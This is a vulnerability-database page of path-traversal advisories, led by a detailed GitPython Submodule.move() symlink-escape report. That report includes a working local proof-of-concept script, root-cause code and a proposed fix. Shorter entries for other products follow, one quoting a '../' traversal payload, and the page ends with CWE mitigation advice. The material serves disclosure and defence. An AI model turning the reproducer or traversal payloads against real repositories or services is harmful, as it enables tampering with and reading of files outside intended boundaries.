  "details": "## Summary\n\nGitPython\u0027s public `Submodule.move()` API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination\u0027s intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.\n\nThe reporter reproduced this on the latest release, GitPython 3.1.62, and current `main`. In the strict scenario, the repository commits `vendor -\u003e ../outside`, while the consuming application independently passes the fixed literal `vendor/module`. `Submodule.move()` follows `vendor`, moves the initialized submodule checkout to `outside/module`, rewrites `.gitmodules` and the index to the symlinked path, and leaves the index unable to produce a tree.\n\nThe same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.\n\n## Trust boundary and preconditions\n\nThe attacker controls:\n\n- an untrusted Git repository that the application clones;\n- a mode-`120000` tracked symlink named `vendor`;\n- the initialized submodule\u0027s content.\n\nThe consuming application controls the call and uses a fixed layout rule:\n\n```python\nsubmodule.move(\"vendor/module\")\n```\n\nThe trigger requires the application to initialize the submodule and later call `Submodule.move()` with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires `core.symlinks=true` with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.\n\n## Product and directly verified revisions\n\n- Package: `GitPython` (`pip` ecosystem)\n- Latest release: 3.1.62, tag commit `db47516dac750c5968b8f6d388b18712c355df50`\n- Current `main`: `b62e91be897f687a622e40cd1e59c33dce45f124`\n- Relevant `git/objects/submodule/base.py` SHA-256 in both revisions: `a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c`\n- Upstream state rechecked: 2026-09-10 KST\n\nOnly these two revisions were directly tested.\n\n## Severity and weakness\n\nThe demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process\u0027s permissions. It also removes the original checkout and corrupts the parent repository\u0027s index/configuration state.\n\nFor a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, `AV:N` gives a conditional application-level score of 7.1. A fully automatic service may warrant a different `UI` assessment. The library report uses `AV:L` because the vulnerable API call is a separate application action and is not part of GitPython\u0027s ordinary clone/update flow.\n\nNo confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.\n\n## Reproducer\n\nThe following script creates only temporary local repositories and a self-generated canary. It passes `protocol.file.allow=always` separately with `-c` on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.\n\nRun it from a fresh source checkout:\n\n```bash\ngit clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git\npython3 poc.py /path/to/GitPython\npython3 poc.py --absolute-link /path/to/GitPython\n```\n\n`--absolute-link` commits the temporary external directory\u0027s absolute path instead of `../outside`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local-only reproducer for GitPython Submodule.move() symlink traversal.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\nfrom typing import Optional\n\n\ndef run_git(\n    *args: str, cwd: Optional[Path] = None, check: bool = True\n) -\u003e subprocess.CompletedProcess:\n    command = [\n        \"git\",\n        \"-c\",\n        \"user.name=GitPython security fixture\",\n        \"-c\",\n        \"user.email=fixture@example.invalid\",\n        \"-c\",\n        \"protocol.file.allow=always\",\n        *args,\n    ]\n    return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)\n\n\ndef read_core_worktree(parent) -\u003e str:\n    module_config = Path(parent.git_dir) / \"modules\" / \"logical-name\" / \"config\"\n    return parent.git.config(\"--file\", str(module_config), \"--get\", \"core.worktree\")\n\n\ndef read_gitmodules_path(parent) -\u003e str:\n    modules_file = Path(parent.working_tree_dir) / \".gitmodules\"\n    return parent.git.config(\n        \"--file\", str(modules_file), \"--get\", \"submodule.logical-name.path\"\n    )\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"source_root\", type=Path, help=\"GitPython source checkout\")\n    parser.add_argument(\n        \"--absolute-link\",\n        action=\"store_true\",\n        help=(\n            \"Use the temporary external directory\u0027s absolute path as the committed \"\n            \"symlink target\"\n        ),\n    )\n    args = parser.parse_args()\n\n    source_root = args.source_root.resolve()\n    # The tested GitPython source trees include gitdb and smmap at their roots.\n    sys.path[:0] = [\n        str(source_root),\n        str(source_root / \"gitdb\"),\n        str(source_root / \"smmap\"),\n    ]\n    import gitdb  # pylint: disable=import-outside-toplevel\n    import smmap  # pylint: disable=import-outside-toplevel\n    from git import Repo  # pylint: disable=import-outside-toplevel\n\n    with tempfile.TemporaryDirectory(prefix=\"gitpython-move-poc-\") as temporary:\n        root = Path(temporary)\n        module_source = root / \"module-source\"\n        attacker = root / \"attacker-parent\"\n        victim = root / \"victim-parent\"\n        outside = root / \"outside\"\n\n        run_git(\"init\", \"--quiet\", str(module_source))\n        (module_source / \"SELF_GENERATED_CANARY.txt\").write_text(\n            \"SELF_GENERATED_CANARY\\n\", encoding=\"utf-8\"\n        )\n        run_git(\"add\", \"SELF_GENERATED_CANARY.txt\", cwd=module_source)\n        run_git(\"commit\", \"--quiet\", \"-m\", \"fixture\", cwd=module_source)\n\n        outside.mkdir()\n        run_git(\"init\", \"--quiet\", str(attacker))\n        run_git(\n            \"submodule\",\n            \"add\",\n            \"--quiet\",\n            \"--name\",\n            \"logical-name\",\n            str(module_source),\n            \"module\",\n            cwd=attacker,\n        )\n        link_target = str(outside.resolve()) if args.absolute_link else \"../outside\"\n        (attacker / \"vendor\").symlink_to(link_target, target_is_directory=True)\n        run_git(\"add\", \".gitmodules\", \"module\", \"vendor\", cwd=attacker)\n        run_git(\"commit\", \"--quiet\", \"-m\", \"attacker-controlled layout\", cwd=attacker)\n\n        run_git(\"clone\", \"--quiet\", str(attacker), str(victim))\n        run_git(\"submodule\", \"update\", \"--init\", \"--quiet\", cwd=victim)\n\n        parent = Repo(victim)\n        submodule = parent.submodule(\"logical-name\")\n        before = {\n            \"status\": parent.git.status(\"--porcelain\"),\n            \"write_tree\": parent.git.write_tree(),\n            \"vendor_index\": parent.git.ls_files(\"--stage\", \"vendor\"),\n            \"index_paths\": parent.git.ls_files().splitlines(),\n            \"gitmodules_path\": read_gitmodules_path(parent),\n            \"source_canary\": (victim / \"module\" / \"SELF_GENERATED_CANARY.txt\").exists(),\n            \"external_canary\": (\n                outside / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n            ).exists(),\n            \"module_core_worktree\": read_core_worktree(parent),\n        }\n\n        error = None\n        try:\n            submodule.move(\n                \"vendor/module\"\n            )  # Fixed application value; attacker does not control it.\n        # Capture the exact type and text so a patched rejection remains visible.\n        except Exception as exception:\n            error = {\"type\": type(exception).__name__, \"message\": str(exception)}\n\n        write_tree = None\n        write_tree_error = None\n        try:\n            write_tree = parent.git.write_tree()\n        except Exception as exception:\n            write_tree_error = {\n                \"type\": type(exception).__name__,\n                \"message\": str(exception),\n            }\n\n        result = {\n            \"imported_modules\": {\n                \"git\": str(Path(sys.modules[\"git\"].__file__).resolve()),\n                \"gitdb\": str(Path(gitdb.__file__).resolve()),\n                \"smmap\": str(Path(smmap.__file__).resolve()),\n            },\n            \"committed_symlink_target\": link_target,\n            \"before\": before,\n            \"call_error\": error,\n            \"after\": {\n                \"status\": parent.git.status(\"--porcelain\"),\n                \"source_canary\": (\n                    victim / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n                ).exists(),\n                \"external_canary\": (\n                    outside / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n                ).exists(),\n                \"index_paths\": parent.git.ls_files().splitlines(),\n                \"gitmodules\": (victim / \".gitmodules\").read_text(encoding=\"utf-8\"),\n                \"gitmodules_path\": read_gitmodules_path(parent),\n                \"submodule_path\": submodule.path,\n                \"module_core_worktree\": read_core_worktree(parent),\n                \"write_tree\": write_tree,\n                \"write_tree_error\": write_tree_error,\n            },\n        }\n        print(json.dumps(result, indent=2, sort_keys=True))\n        parent.close()\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## Observed result\n\nThe relative and absolute symlink variants produced the same security-relevant result on both directly tested revisions:\n\n| State | Before | After unpatched `move()` |\n| --- | --- | --- |\n| API result | not called | returns successfully |\n| Original checkout | `module/SELF_GENERATED_CANARY.txt` exists | checkout is gone |\n| External destination | `outside/module` absent | canary exists under `outside/module` |\n| Parent index | `.gitmodules`, `module`, `vendor` | `.gitmodules`, `vendor`, `vendor/module` |\n| `.gitmodules` path | `module` | `vendor/module` |\n| module `core.worktree` | `../../../module` | `../../../vendor/module` |\n| `git write-tree` | succeeds | fails |\n\nThe failure after the move is:\n\n```text\nYou have both vendor and vendor/module\nfatal: git-write-tree: error building trees\n```\n\nThe tracked attacker input is present in the clean clone before the call:\n\n```text\n120000 d09b80733baa4f6b198f2cf2d62bbfc5b6cbf1f0 0 vendor\n```\n\nWith the proposed patch, the same calls raise before mutation:\n\n```text\nValueError: Submodule checkout path \u0027vendor/module\u0027 contains a symbolic link\n```\n\nThe checkout, external directory, index, `.gitmodules`, and module configuration then remain unchanged, and `git write-tree` succeeds.\n\n## Root cause\n\n`Submodule._to_relative_path()` delegates to a helper that uses `abspath()`, `commonpath()`, and `relpath()` to enforce lexical containment. These operations normalize `..`, but they do not resolve or reject an existing intermediate symbolic link.\n\nThe relevant helper is `git.util._to_relative_path()`:\n\n```python\nroot_abs = osp.abspath(os.fspath(root))\npath_abs = osp.abspath(osp.join(root_abs, path_str))\ncommon_path = osp.commonpath([root_abs, path_abs])\nif common_path != root_abs:\n    raise ValueError(...)\nrelative_path = to_native_path_linux(osp.relpath(path_abs, root_abs))\n```\n\n`Submodule.move()` then joins the accepted relative path to the worktree and passes it to filesystem operations, including `os.listdir()` and `os.renames()`:\n\n```python\nmodule_checkout_path = self._to_relative_path(self.repo, module_path)\n...\nmodule_checkout_abspath = join_path_native(str(self.repo.working_tree_dir), module_checkout_path)\n...\nos.renames(cur_path, module_checkout_abspath)\n```\n\nThe operating system resolves `vendor/module` through the checked-out `vendor` link at that point.\n\nGitPython already applies the intended component check to the source checkout through `Submodule.abspath`: it walks every component and rejects `os.path.islink(path)`. The destination in `move()` does not use that guard.\n\n## Suggested fix\n\nThe proposed patch below factors the existing component walk into a shared checkout-path helper and applies it to the normalized move destination before any filesystem, index, or configuration mutation. It:\n\n- normalizes the destination exactly once;\n- preserves the existing early return for a no-op move;\n- rejects symbolic links in every intermediate destination component;\n- preserves existing final-component symlink behavior;\n- leaves `Submodule.abspath`\u0027s all-component guard intact.\n\nThe final-component exception preserves current compatibility. The existing code first uses `isfile()` and `listdir()` to classify the link target, then uses `os.remove()` to unlink an empty-directory leaf symlink before moving the checkout. Tests confirm that an empty-directory leaf link is replaced while its target remains unchanged; non-empty-directory and file targets are rejected; a dangling leaf produces `OSError` without changing repository state. Because the pre-removal `isfile()`, `exists()`, and `listdir()` calls follow the leaf link, the existing behavior retains an existence/emptiness oracle for that external target; the proof demonstrates no write through the leaf link.\n\nThe component check closes the non-racing, attacker-committed symlink case reported here. It is not a claim of protection against a concurrent same-user process replacing a checked directory after validation; descriptor-relative traversal and rename would be needed if that separate race is in scope. Because `move()` is decorated with `@unbare_repo`, `working_tree_dir` should be present; the helper nevertheless changes an impossible or malformed `None` state from the previous `str(None)` path construction to an explicit `NotADirectoryError`.\n\n## Validation\n\nThe strict clean-clone proof was run with both relative and absolute committed symlink targets:\n\n| Revision | macOS ARM64 unpatched | Linux ARM64 unpatched | macOS patched | Linux patched |\n| --- | --- | --- | --- | --- |\n| 3.1.62 | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation |\n| `main` `b62e91b` | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation |\n\nBoth platforms were ARM64 on the same physical Mac; Linux ran in a local LinuxKit VM image. All runs used Python 3.14.7. The Linux runs used a local image by immutable SHA-256, with networking disabled, a read-only container root and source mount, and a temporary writable `/tmp`.\n\nPinned reproducer SHA-256: `513b6f32fc44cc74bee1ca8e81e8ed3f48ae89bfdc332dd6782886bfd1d6a79c`.\n\nThe documented shallow-clone command was also executed from a new temporary directory at 3.1.62. The reproducer resolved `git`, `gitdb`, and `smmap` from that checkout (`git/__init__.py`, `gitdb/gitdb/__init__.py`, and `smmap/smmap/__init__.py`) and reproduced the same external move. In that exact checkout, `git ls-tree HEAD gitdb smmap git/ext` reports ordinary mode-`040000` trees for root `gitdb` and `smmap`, no `.gitmodules` file exists, and `git submodule status --recursive` produces no entries. No recursive submodule checkout or preinstalled GitPython dependency was used for that bootstrap check. The evidence package includes both the raw local tree transcript and the matching official GitHub tree API entries.\n\nThe revised patch also passed 12 focused tests on each revision on each platform (48 test executions total). They cover:\n\n- relative and absolute ordinary moves from an external process working directory;\n- relative and absolute no-op ordering;\n- no-op compatibility when the stored path includes an existing symlink;\n- the unchanged `Submodule.abspath` leaf-link guard;\n- relative and absolute intermediate-link rejection before rename;\n- empty-directory, non-empty-directory, file, and dangling final-component link behavior.\n\nRuff 0.16.6 lint and format checks, Python compilation, patch application, and patched-file byte comparison passed for both revisions. GitPython\u0027s complete upstream test suite and mypy were not run against the patch; the test claim is limited to the focused matrix described above.\n\nAdditional saved controls on both revisions record rejection of `../` and absolute API destinations, preservation of existing files and non-empty directories, the final-component link behavior, and `RootModule.update()` rejecting the tested commit-to-commit symlinked path before its internal move. These controls are separate from the strict 16-run proof.\n\n## Impact limits and compatibility observations\n\n- An existing destination file and an existing non-empty destination directory are preserved and rejected.\n- A missing or empty leaf below an external symlink target can be populated.\n- `../` and an absolute API destination outside the worktree are already rejected; the bypass is filesystem resolution of a lexically in-tree path.\n- `RootModule.update()` rejects the tested commit-to-commit symlinked path before its internal `move()` call, so ordinary clone/update is not an automatic trigger.\n- The proof does not require or demonstrate a local race.\n- The directly demonstrated relative target is the practical repository-relative case. The absolute variant proves target-path scope using a temporary path known to the fixture; a remote attacker would instead need a predictable absolute directory on the victim.\n- The exact affected history before 3.1.62 has not been established.\n\n## AI assistance and credit\n\nThis report was prepared with AI assistance. The working proof was executed locally against both pinned revisions on macOS and Linux, and every reported state transition was checked against saved structured output. The proposed patch and focused tests were executed independently from the vulnerable proof.\n\nRequested credit: GitHub user `dpfkdlemtp`.",
  "id": "GHSA-gq48-pqfc-9p58",
  "modified": "2026-10-27T15:26:57Z",
  "published": "2026-10-27T15:26:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-gq48-pqfc-9p58"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/pull/2232"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/commit/24b6f95d4b90ab1483fb601c736ac6e7c059cd61"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree"
}

GHSA-GQ5C-V4HQ-F57F

Vulnerability from github – Published: 2022-05-02 03:56 – Updated: 2022-05-02 03:56
VLAI
Details

Directory traversal vulnerability in web_client_user_guide.html in Accellion Secure File Transfer Appliance before 8_0_105 allows remote attackers to read arbitrary files via a .. (dot dot) in the lang parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2009-4645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-02-19T17:30:00Z",
    "severity": "HIGH"
  },
  "details": "Directory traversal vulnerability in web_client_user_guide.html in Accellion Secure File Transfer Appliance before 8_0_105 allows remote attackers to read arbitrary files via a .. (dot dot) in the lang parameter.",
  "id": "GHSA-gq5c-v4hq-f57f",
  "modified": "2022-05-02T03:56:38Z",
  "published": "2022-05-02T03:56:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4645"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/56246"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/38538"
    },
    {
      "type": "WEB",
      "url": "http://www.portcullis-security.com/340.php"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/38176"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GQ6W-8MR2-X44J

Vulnerability from github – Published: 2022-05-17 02:50 – Updated: 2022-05-17 02:50
VLAI
Details

Dell Integrated Remote Access Controller (iDRAC) 6 before 2.80 and 7/8 before 2.21.21.21 allows directory traversal.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2015-7270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-10T03:59:00Z",
    "severity": "HIGH"
  },
  "details": "Dell Integrated Remote Access Controller (iDRAC) 6 before 2.80 and 7/8 before 2.21.21.21 allows directory traversal.",
  "id": "GHSA-gq6w-8mr2-x44j",
  "modified": "2022-05-17T02:50:18Z",
  "published": "2022-05-17T02:50:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-7270"
    },
    {
      "type": "WEB",
      "url": "http://en.community.dell.com/techcenter/extras/m/white_papers/20441859"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97521"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GQ75-5GC3-RFWG

Vulnerability from github – Published: 2022-07-26 00:01 – Updated: 2022-08-06 09:36
VLAI
Summary
snyk-broker Path Traversal before v4.73.0
Details

This affects the package snyk-broker before 4.73.0. It allows arbitrary file reads for users with access to Snyk's internal network via directory traversal.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "snyk-broker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.73.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-08-06T09:36:15Z",
    "nvd_published_at": "2022-07-25T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "This affects the package snyk-broker before 4.73.0. It allows arbitrary file reads for users with access to Snyk\u0027s internal network via directory traversal.",
  "id": "GHSA-gq75-5gc3-rfwg",
  "modified": "2022-08-06T09:36:15Z",
  "published": "2022-07-26T00:01:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/snyk/broker/commit/90e0bac07a800b7c4c6646097c9c89d6b878b429"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/snyk/broker"
    },
    {
      "type": "WEB",
      "url": "https://github.com/snyk/broker/releases/tag/v4.73.0"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-SNYKBROKER-570608"
    },
    {
      "type": "WEB",
      "url": "https://updates.snyk.io/snyk-broker-security-fixes-152338"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "snyk-broker Path Traversal before v4.73.0"
}

GHSA-GQ7J-4834-CCGP

Vulnerability from github – Published: 2026-05-27 09:31 – Updated: 2026-05-27 09:31
VLAI
Details

When the director sends a long-running request (e.g. compile_package), the agent's reply JSON is consumed by AgentClient. inject_compile_log (line 332-339) reads response['value']['result']['compile_log_id'] and format_exception (line 318-325) reads exception['blobstore_id']; both pass the agent-supplied string unmodified to download_and_delete_blob(blob_id) (line 344-349), which calls @resource_manager.get_resource(blob_id) and, in an ensure block, @resource_manager.delete_resource(blob_id). Api::ResourceManager forwards the id straight to blobstore.get(id) / blobstore.delete(id). When the director is configured with the local blobstore provider, Blobstore::LocalClient#object_file_path(oid) is File.join(@blobstore_path, oid) (local_client.rb:54-56) with no normalisation, so oid = "../../jobs/director/config/director.yml" resolves outside the blobstore root.

Affected versions: BOSH Director: All versions prior to v282.1.12

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-41009"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-27T08:16:43Z",
    "severity": "MODERATE"
  },
  "details": "When the director sends a long-running request (e.g. compile_package), the agent\u0027s reply JSON is consumed by AgentClient. inject_compile_log (line 332-339) reads response[\u0027value\u0027][\u0027result\u0027][\u0027compile_log_id\u0027] and format_exception (line 318-325) reads exception[\u0027blobstore_id\u0027]; both pass the agent-supplied string unmodified to download_and_delete_blob(blob_id) (line 344-349), which calls @resource_manager.get_resource(blob_id) and, in an ensure block, @resource_manager.delete_resource(blob_id). Api::ResourceManager forwards the id straight to blobstore.get(id) / blobstore.delete(id). When the director is configured with the local blobstore provider, Blobstore::LocalClient#object_file_path(oid) is File.join(@blobstore_path, oid) (local_client.rb:54-56) with no normalisation, so oid = \"../../jobs/director/config/director.yml\" resolves outside the blobstore root.\n\nAffected versions:\nBOSH Director: All versions prior to v282.1.12",
  "id": "GHSA-gq7j-4834-ccgp",
  "modified": "2026-05-27T09:31:15Z",
  "published": "2026-05-27T09:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41009"
    },
    {
      "type": "WEB",
      "url": "https://www.cloudfoundry.org/blog/cve-2026-41009-local-blobstore-may-allow-arbitrary-reads-deletes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GQ82-26J2-C4M9

Vulnerability from github – Published: 2022-05-02 03:57 – Updated: 2022-05-02 03:57
VLAI
Details

Directory traversal vulnerability in download.php in Quickdev 4 PHP allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2009-4726"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-03-18T18:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in download.php in Quickdev 4 PHP allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.",
  "id": "GHSA-gq82-26j2-c4m9",
  "modified": "2022-05-02T03:57:31Z",
  "published": "2022-05-02T03:57:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4726"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/36130"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/9334"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2009/2126"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GQ92-GMHV-53V8

Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2024-04-04 08:53
VLAI
Details

A directory traversal vulnerability exists in the AgeVolt Portal prior to version 0.1 that leads to Information Disclosure. A remote authenticated attacker could leverage this vulnerability to read files from any location on the target operating system with web server privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-38485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-25T18:17:14Z",
    "severity": "MODERATE"
  },
  "details": "A directory traversal vulnerability exists in the AgeVolt Portal prior to version 0.1 that leads to Information Disclosure. A remote authenticated attacker could leverage this vulnerability to read files from any location on the target operating system with web server privileges.",
  "id": "GHSA-gq92-gmhv-53v8",
  "modified": "2024-04-04T08:53:49Z",
  "published": "2023-10-25T18:32:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38485"
    },
    {
      "type": "WEB",
      "url": "https://citadelo.com/download/CVE-2022-38485.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
